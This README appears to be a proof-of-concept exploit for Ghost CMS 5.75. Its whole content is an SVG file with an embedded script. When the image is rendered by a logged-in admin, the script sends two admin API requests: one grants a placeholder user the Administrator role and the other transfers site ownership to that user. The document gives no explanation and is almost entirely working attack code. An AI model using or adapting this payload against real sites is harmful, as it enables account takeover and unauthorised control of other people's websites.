README.md
Rendering markdown...
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<script type="application/ecmascript">
// First Request
const url1 = 'http://localhost:3001/ghost/api/admin/users/[User-ID]/?include=roles';
const data1 = {
users: [{
id: '[User-ID]',
name: '[User-Name]',
slug: '[Slug-Name]',
email: '[User-Email]',
profile_image: '',
bio: '',
status: 'active',
comment_notifications: true,
free_member_signup_notification: true,
paid_subscription_started_notification: true,
paid_subscription_canceled_notification: false,
mention_notifications: true,
recommendation_notifications: true,
milestone_notifications: true,
donation_notifications: true,
roles: [{
id: '[Admin-Role-ID]',
name: 'Administrator',
description: 'Administrators',
}],
url: 'http://localhost:3001/404/'
}]
};
fetch(url1, {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'x-ghost-version': '5.75',
'app-pragma': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
'Accept': '*/*',
'Origin': 'http://localhost:3001',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'http://localhost:3001/ghost/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
},
body: JSON.stringify(data1),
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
return response.json();
})
.then(data => {
console.log('First Request Success:', data);
// Second Request
const url2 = 'http://localhost:3001/ghost/api/admin/users/owner/';
const data2 = {
owner: [{
id: '[User-ID]'
}]
};
fetch(url2, {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'x-ghost-version': '5.75',
'app-pragma': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
'Accept': '*/*',
'Origin': 'http://localhost:3001',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'http://localhost:3001/ghost/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
},
body: JSON.stringify(data2),
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
return response.json();
})
.then(data => {
console.log('Second Request Success:', data);
})
.catch(error => {
console.error('Second Request Error:', error);
});
})
.catch(error => {
console.error('First Request Error:', error);
});
</script>
</svg>